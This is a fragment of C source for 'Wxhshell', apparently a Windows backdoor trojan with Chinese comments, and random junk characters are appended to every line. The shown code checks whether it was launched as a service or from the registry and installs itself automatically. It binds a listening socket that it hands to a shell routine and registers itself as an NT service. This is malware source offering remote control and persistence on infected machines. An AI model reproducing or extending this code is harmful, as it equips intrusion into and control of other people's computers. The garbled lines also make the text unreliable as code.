ULONG UniqueProcessId; b{L/4bu
ULONG InheritedFromUniqueProcessId; r:f[mk"-"A
} PROCESS_BASIC_INFORMATION; S-
pV_Ff
K/i*w<aPb7
PROCNTQSIP NtQueryInformationProcess; `6lr4Kk @R
V^3L3|k
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]xRM&=)<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \m(VdE
E"qRw_
~t
HANDLE hProcess; &cxRD
PROCESS_BASIC_INFORMATION pbi; Y9uC&/_C
$c]fPt"i
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D^l%{IG
if(NULL == hInst ) return 0; ,z;cbsV-{
)Im#dVQs=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bM {s
T"
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0ZZZoPo
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %E#s\B,w
_ba>19csq%
if (!NtQueryInformationProcess) return 0; #gz
M|
M+U9R@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [@J/eWB
if(!hProcess) return 0; X-6de>=
$c0h.t
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e+~\+:[?
`|{-+m
CloseHandle(hProcess); 2% L LSa
C-Q28lD}f
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sH{4Y-J
if(hProcess==NULL) return 0; 1_9<3,7
j(m.$:
HMODULE hMod; 9^oKtkoDZ
char procName[255]; yXSFjcoB
unsigned long cbNeeded; c~z82iXNO
l`oZ)?ur
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )bS yB29S
~Sj9GxTe
CloseHandle(hProcess); sDPs
G5q<
|TS>hwkI
if(strstr(procName,"services")) return 1; // 以服务启动 AL9chYP}/
~;l@|7wGz
return 0; // 注册表启动 ED=V8';D
} XGYbnZ~
RL!Oi|8
// 主模块 9s\A\$("l
int StartWxhshell(LPSTR lpCmdLine) }>>1<P<8-
{ 'u *DA|HC
SOCKET wsl; ]V^iN=(_5
BOOL val=TRUE; Xe$ I7iKD
int port=0; RRmz"j>
struct sockaddr_in door; ULs\+U
;_c;0)
if(wscfg.ws_autoins) Install(); ]Lf{Jboo
e?0l"
port=atoi(lpCmdLine); >3p\m
[k.t WA,&
if(port<=0) port=wscfg.ws_port; cpL7!>^=
'@o;-'b
WSADATA data; ]<ldWL
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )
i;1*jK
~IYUuWF(
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; - Ajo9H
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ] eotc2?u
door.sin_family = AF_INET; jyZ (RB
door.sin_addr.s_addr = inet_addr("127.0.0.1"); aS{|uE]
door.sin_port = htons(port); = bfJ^]R
7%5z p|3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @$ne{2J3
closesocket(wsl); $ `ov4W
return 1; zd2)M@
} ??^5;P{yx
GWZ
}7ake
if(listen(wsl,2) == INVALID_SOCKET) { uxXBEq;
closesocket(wsl); @5N]ZQ9
return 1; smlpD3?va
} ;rF\kX&Jh
Wxhshell(wsl); 2;k*@k-t
WSACleanup(); h;p>o75O
<c2E'U)X
return 0; MI/MhkS
?
94h]~GqNi
} &v56#lG
IHB}`e|
// 以NT服务方式启动 XW[j!`nlk
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `F-/QX[:
{ Oxm>c[R
DWORD status = 0; J[l7di5
DWORD specificError = 0xfffffff; qX/y5F`
v[
.cd*b
serviceStatus.dwServiceType = SERVICE_WIN32; ]OM"ZG/^
serviceStatus.dwCurrentState = SERVICE_START_PENDING; c/D+|X*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?4+9fE<Q
serviceStatus.dwWin32ExitCode = 0; } df
W%{
serviceStatus.dwServiceSpecificExitCode = 0; 5 h-@|t
serviceStatus.dwCheckPoint = 0; s3z$e+A8
serviceStatus.dwWaitHint = 0; ?M8dP%&r
U>YAdrx2a
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &TUWW